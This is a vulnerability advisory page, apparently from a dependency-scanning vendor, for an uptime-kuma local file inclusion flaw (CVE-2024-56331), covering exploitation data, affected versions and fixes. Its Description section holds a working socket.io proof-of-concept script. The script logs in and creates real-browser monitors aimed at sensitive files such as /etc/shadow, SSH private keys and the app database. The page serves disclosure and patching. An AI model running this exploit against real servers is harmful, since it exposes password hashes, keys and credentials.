# CVE-2024-56331: uptime-kuma — Fixed in 1.23.16

📦

📦 npm

Not in CISA KEV

MEDIUM severity

# CVE-2024-56331 — uptime-kuma

MEDIUM [Fix: louislam/uptime-kuma@6cfae01](https://github.com/louislam/uptime-kuma/commit/6cfae01a0d3727c517afe512fc8fec1d99acf875)

CVE-2024-56331 is a medium-severity (CVSS 6.8) Path Traversal vulnerability in uptime-kuma. A fix is available for uptime-kuma — see the affected versions and patch details below.

Local File Inclusion (LFI) via Improper URL Handling in uptime-kuma's \`Real-Browser\` monitor

Also known as[GHSA-2qgm-m29m-cj2h](/vulnerability/GHSA-2qgm-m29m-cj2h)

Published

Dec 20, 2024

Updated

Oct 28, 2026

Affected

2 pkgs

Patched

2 / 2

Exploits

None indexed

Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-56331.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

1.8%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs79th percentile — riskier than 79% of all scored CVEsHighest risk

0.00%28.3%56.6%84.9%53.2%1.8%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

`uptime-kuma`npm

144downloads / week

## Description

#### Summary

An **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **"real-browser"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server.

#### Details

The vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically:

1.  The URL input (`<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">`) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation.
    
2.  The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., `file:///etc/passwd`), the browser fetches and captures the file’s content.
    

```
const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();

const res = await page.goto(monitor.url, {
    waitUntil: "networkidle",
    timeout: monitor.interval * 1000 * 0.8,
});

let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";

await page.screenshot({
    path: path.join(Database.screenshotDir, filename),
});

await context.close();
```

Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., `file:///etc/passwd`), and the system will capture a screenshot of the file's content, potentially exposing sensitive data.

#### PoC

1.  **Instructions**:
    -   Enter a local file path as the URL, such as: `view-source:file:///etc/passwd`.
    -   The server will process the URL and, in "real-browser" mode, capture a screenshot of the file content.

Example PoC:

1.  Log in to the application with valid credentials:

```
const { io } = require("socket.io-client");

// Server configuration and credentials
const CONFIG = {
  serverUrl: "ws://localhost:3001",
  credentials: {
    username: "admin",
    password: "password1"
  },
  requestType: {
    REAL_BROWSER: "real-browser",
    HTTP: "http"
  },
  urlHeader: {
    VIEW_SOURCE: "view-source:file:///",
    FILE: "file:///"
  }
};

// List of sensitive files on a Linux system
const SENSITIVE_FILES = [
  "/etc/passwd",
  "/etc/shadow",
  "/etc/hosts",
  "/etc/hostname",
  "/etc/network/interfaces", // May vary depending on the distribution
  "/etc/ssh/ssh_config",
  "/etc/ssh/sshd_config",
  "~/.ssh/authorized_keys",
  "~/.ssh/id_rsa",
  "/etc/ssl/private/*.key",
  "/etc/ssl/certs/*.crt",
  "/app/data/kuma.db", // Uptime Kuma database file
  "/app/data/config.json" // Uptime Kuma configuration file
];

// Function to send a request and wait for the response
function sendRequest(socket, filePath, type) {
  return new Promise((resolve, reject) => {
    fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
    if (type == CONFIG.requestType.HTTP) {
      fileUrl = CONFIG.urlHeader.FILE + filePath;
    }
    socket.emit("add", {
      type: type,
      name: type + " " + filePath,
      url: fileUrl,
      method: "GET",
      maxretries: 0,
      timeout: 500,
      notificationIDList: {},
      ignoreTls: true,
      upsideDown: false,
      accepted_statuscodes: ["200-299"]
    }, (res) => {
      console.log(`Response for file ${filePath}:`, res);
      resolve();
    });
  });
}

// Main function for connecting and sending the 'add' request
(async () => {
  const socket = io(CONFIG.serverUrl);

  // Handle connection errors
  socket.on("connect_error", (err) => {
    console.error("Connection failed:", err.message);
  });

  try {
    // Connecting with credentials
    await new Promise((resolve, reject) => {
      socket.emit("login", {
        username: CONFIG.credentials.username,
        password: CONFIG.credentials.password,
        token: ""
      }, (res) => {
        if (res.ok) {
          console.log("Connection successful");
          resolve();
        } else {
          console.log(res);
          reject(new Error("Connection failed"));
        }
      });
    });

    // Sending requests for each file using Promise.all to ensure synchronization
    const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));

    // Wait for all requests to be sent
    await Promise.all([...realBrowserRequests]);

    // Close the socket after all requests have been sent
    socket.close();
    console.log("Connection closed after all requests.");

  } catch (error) {
    console.error("Error:", error.message);
    socket.close();
  }
})();
```

#### Impact

This vulnerability is a **Local File Inclusion (LFI)** issue, which allows an attacker to access and potentially exfiltrate sensitive files from the server. The impact is significant, as attackers can access critical system files or application configuration files, such as:

-   `/etc/passwd`: Contains user account information.
-   `/etc/shadow`: Contains password hashes.
-   `/app/data/kuma.db`: Contains the database for the Uptime Kuma monitoring tool.
-   `/app/data/config.json`: Contains the database credentials for Uptime Kuma.

Any **authenticated user** who can submit a URL in "real-browser" mode is at risk of exposing sensitive data through screenshots of these files.

## Affected Packages

2 total 2 fixed

Ecosystem

Package

Vulnerable range

Fix

📦npm

`uptime-kuma` 

≥ 1.23.0&&< 1.23.16

1.23.16`npm install uptime-kuma@1.23.16`

📦npm

`uptime-kuma` 

≥ 2.0.0-beta.0&&< 2.0.0-beta.1

2.0.0-beta.1`npm install uptime-kuma@2.0.0-beta.1`

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for uptime-kuma, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update uptime-kuma to 1.23.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-56331 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
    

## Frequently Asked Questions

\### Summary An \*\*Improper URL Handling Vulnerability\*\* allows an attacker to access sensitive local files on the server by exploiting the \`file:///\` protocol. This vulnerability is triggered via the \*\*"real-browser"\*\* request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as \`file:///etc/passwd\`, an attacker can read sensitive data from the server. ### Details The vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (\`<input data-v-5f5c86d7="" id

O3 Security · Impact-Aware SCA

### Is CVE-2024-56331 in your dependencies?

Find it across npm, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)